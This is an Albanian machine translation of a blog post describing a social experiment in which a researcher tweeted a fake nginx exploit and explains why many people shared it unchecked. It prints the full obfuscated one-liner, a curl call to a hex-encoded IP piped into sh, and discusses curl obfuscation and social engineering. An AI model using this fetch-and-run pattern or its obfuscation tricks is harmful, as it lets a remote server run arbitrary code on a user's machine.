Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx

Shënim. përkth.: Autor shënimi origjinal, i botuar më 1 qershor, vendosi të kryejë një eksperiment midis atyre që janë të interesuar për sigurinë e informacionit. Për ta bërë këtë, ai përgatiti një shfrytëzim të rremë për një dobësi të pazbuluar në serverin e internetit dhe e postoi atë në Twitterin e tij. Supozimet e tij - për t'u ekspozuar menjëherë nga specialistë të cilët do të shihnin mashtrimin e dukshëm në kod - jo vetëm që nuk u realizuan... Ata i tejkaluan të gjitha pritshmëritë, dhe në drejtim të kundërt: tweet-i mori mbështetje të madhe nga njerëz të shumtë që nuk e bënë këtë. kontrolloni përmbajtjen e tij.

Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx

TL;DR: Në asnjë rrethanë mos përdorni tubacion skedarësh në sh ose bash. Kjo është një mënyrë e shkëlqyer për të humbur kontrollin e kompjuterit tuaj.

Unë dua të ndaj me ju një histori të shkurtër rreth një shfrytëzimi komik PoC që u krijua më 31 maj. Ai u shfaq menjëherë në përgjigje të lajmeve nga Alisa Esage Shevchenko, anëtar Iniciativa për Ditën Zero (ZDI), se informacioni në lidhje me një dobësi në NGINX që çon në RCE (ekzekutimi i kodit në distancë) do të zbulohet së shpejti. Meqenëse NGINX fuqizon shumë faqe interneti, lajmi duhet të ketë qenë një bombë. Por për shkak të vonesave në procesin e "zbulimit të përgjegjshëm", detajet e asaj që ndodhi nuk diheshin - kjo është procedurë standarde e ZDI.

Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx
Cicërimë në lidhje me zbulimin e cenueshmërisë në NGINX

Pasi mbarova punën në një teknikë të re të mjegullimit në curl, citova tweet-in origjinal dhe "zbulova një PoC funksionale" të përbërë nga një linjë e vetme kodi që supozohet se shfrytëzon cenueshmërinë e zbuluar. Sigurisht, kjo ishte absurditet i plotë. Unë supozova se do të ekspozohesha menjëherë dhe se në rastin më të mirë do të merrja disa retweet (oh mirë).

Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx
Cicërimë me shfrytëzim të rremë

Megjithatë, nuk mund ta imagjinoja se çfarë ndodhi më pas. Popullariteti i tweet-it tim u rrit në qiell. Çuditërisht, për momentin (15:00 me orën e Moskës, 1 qershor) pak njerëz e kanë kuptuar se kjo është një false. Shumë njerëz e ri-tweetojnë pa e kontrolluar fare (le më të admirojnë grafikat e bukura ASCII që nxjerr).

Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx
Vetëm shikoni sa bukur është!

Ndërsa të gjitha këto sythe dhe ngjyra janë të shkëlqyera, është e qartë se njerëzit duhej të ekzekutonin kodin në kompjuterin e tyre për t'i parë ato. Për fat të mirë, shfletuesit funksionojnë në të njëjtën mënyrë, dhe kombinuar me faktin se nuk doja të futesha në telashe ligjore, kodi i varrosur në faqen time ishte thjesht duke bërë thirrje jehone pa u përpjekur të instaloja ose ekzekutoja ndonjë kod shtesë.

Digresion i vogël: netspooky, dnz, unë dhe djemtë e tjerë nga ekipi Thugturmë Ne kemi luajtur me mënyra të ndryshme për të errësuar komandat curl për një kohë tani, sepse është e lezetshme... dhe ne jemi fanatikë. netspooky dhe dnz zbuluan disa metoda të reja që më dukeshin jashtëzakonisht premtuese. Unë u bashkua me argëtimin dhe u përpoqa të shtoja konvertime dhjetore IP në çantën e mashtrimeve. Rezulton se IP mund të konvertohet edhe në format heksadecimal. Për më tepër, curl dhe shumica e mjeteve të tjera NIX hanë me kënaqësi IP heksadecimal! Pra, ishte vetëm një çështje për të krijuar një linjë komandimi bindëse dhe të sigurt. Më në fund u vendosa për këtë:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Inxhinieria socio-elektronike (SEE) është më shumë se thjesht phishing

Siguria dhe familjariteti ishin një pjesë kryesore e këtij eksperimenti. Mendoj se janë ato që e çuan në suksesin e tij. Linja e komandës nënkuptonte qartë sigurinë duke iu referuar "127.0.0.1" (localhost i mirënjohur). Localhost konsiderohet i sigurt dhe të dhënat në të nuk largohen kurrë nga kompjuteri juaj.

Familjariteti ishte komponenti i dytë kyç në SEE i eksperimentit. Meqenëse audienca e synuar përbëhej kryesisht nga njerëz të njohur me bazat e sigurisë kompjuterike, ishte e rëndësishme të krijohej kodi në mënyrë që pjesët e tij të dukeshin të njohura dhe të njohura (dhe për rrjedhojë të sigurta). Huazimi i elementeve të koncepteve të vjetra të shfrytëzimit dhe kombinimi i tyre në një mënyrë të pazakontë ka rezultuar të jetë shumë i suksesshëm.

Më poshtë është një analizë e detajuar e linjës me një linjë. Çdo gjë në këtë listë vesh natyra kozmetike, dhe praktikisht asgjë nuk kërkohet për funksionimin e tij aktual.

Cilat komponentë janë vërtet të nevojshëm? Kjo -gsS, -O 0x0238f06a, |sh dhe vetë serveri i uebit. Serveri i uebit nuk përmbante ndonjë udhëzim me qëllim të keq, por thjesht shërbeu grafika ASCII duke përdorur komanda echo në skenarin e përfshirë në index.html. Kur përdoruesi ka hyrë në një linjë me |sh në mes, index.html ngarkuar dhe ekzekutuar. Për fat të mirë, kujdestarët e serverit në internet nuk kishin qëllime të këqija.

  • ../../../%00 — përfaqëson tejkalimin e drejtorisë;
  • ngx_stream_module.so - rruga drejt një moduli të rastësishëm NGINX;
  • /bin/sh%00<'protocol:TCP' - gjoja po nisim /bin/sh në makinën e synuar dhe ridrejtoni daljen në kanalin TCP;
  • -O 0x0238f06a#PLToffset - përbërës sekret, i plotësuar #PLToffset, për t'u dukur si një kompensim i kujtesës i përfshirë disi në PLT;
  • |sh; - një fragment tjetër i rëndësishëm. Na duhej të ridrejtonim daljen në sh/bash në mënyrë që të ekzekutonim kodin që vjen nga serveri i uebit sulmues i vendosur në 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - një bedel në të cilin i referohet netcat /dev/tcp/localhostnë mënyrë që gjithçka të duket përsëri e sigurt. Në fakt nuk bën asgjë dhe futet në radhën për bukurinë.

Kjo përfundon dekodimin e skriptit me një rresht dhe diskutimin e aspekteve të "inxhinierisë socio-elektronike" (phishing i ndërlikuar).

Konfigurimi i serverit të uebit dhe kundërmasat

Meqenëse shumica dërrmuese e abonentëve të mi janë infosec/hakerë, vendosa ta bëj serverin e internetit pak më rezistent ndaj shprehjeve të "interesit" nga ana e tyre, vetëm në mënyrë që djemtë të kishin diçka për të bërë (dhe do të ishte argëtuese të ngritur). Nuk do t'i rendis të gjitha kurthet këtu pasi eksperimenti është ende në vazhdim, por këtu janë disa gjëra që bën serveri:

  • Monitoron në mënyrë aktive përpjekjet e shpërndarjes në rrjete të caktuara sociale dhe zëvendëson fotografi të ndryshme paraprake për të inkurajuar përdoruesin të klikojë në lidhje.
  • Ridrejton Chrome/Mozilla/Safari/etj te videoja promovuese e Thugcrowd në vend që të shfaqë skriptin e guaskës.
  • Shikon për shenja të dukshme të ndërhyrjes/hakimit të hapur dhe më pas fillon të ridrejtojë kërkesat te serverët e NSA (ha!).
  • Instalon një Trojan, si dhe një rootkit BIOS, në të gjithë kompjuterët, përdoruesit e të cilëve vizitojnë hostin nga një shfletues i rregullt (thjesht shaka!).

Suksesi i një eksperimenti social me një shfrytëzim të rremë të nginx
Një pjesë e vogël e antimereve

Në këtë rast, qëllimi im i vetëm ishte të zotëroja disa nga veçoritë e Apache - në veçanti, rregullat e lezetshme për ridrejtimin e kërkesave - dhe mendova: pse jo?

NGINX Exploit (Real!)

Regjistrohu për @alisaesage në Twitter dhe ndiqni punën e shkëlqyer të ZDI në adresimin e dobësive shumë reale dhe shfrytëzimin e mundësive në NGINX. Puna e tyre më ka magjepsur gjithmonë dhe i jam mirënjohëse Alice për durimin e saj me të gjitha përmendjet dhe njoftimet që shkaktoi tweet-i im budalla. Për fat të mirë, ai bëri gjithashtu disa të mira: ndihmoi në rritjen e ndërgjegjësimit për dobësitë e NGINX, si dhe problemet e shkaktuara nga abuzimi i kaçurrelave.

Burimi: www.habr.com

Shto një koment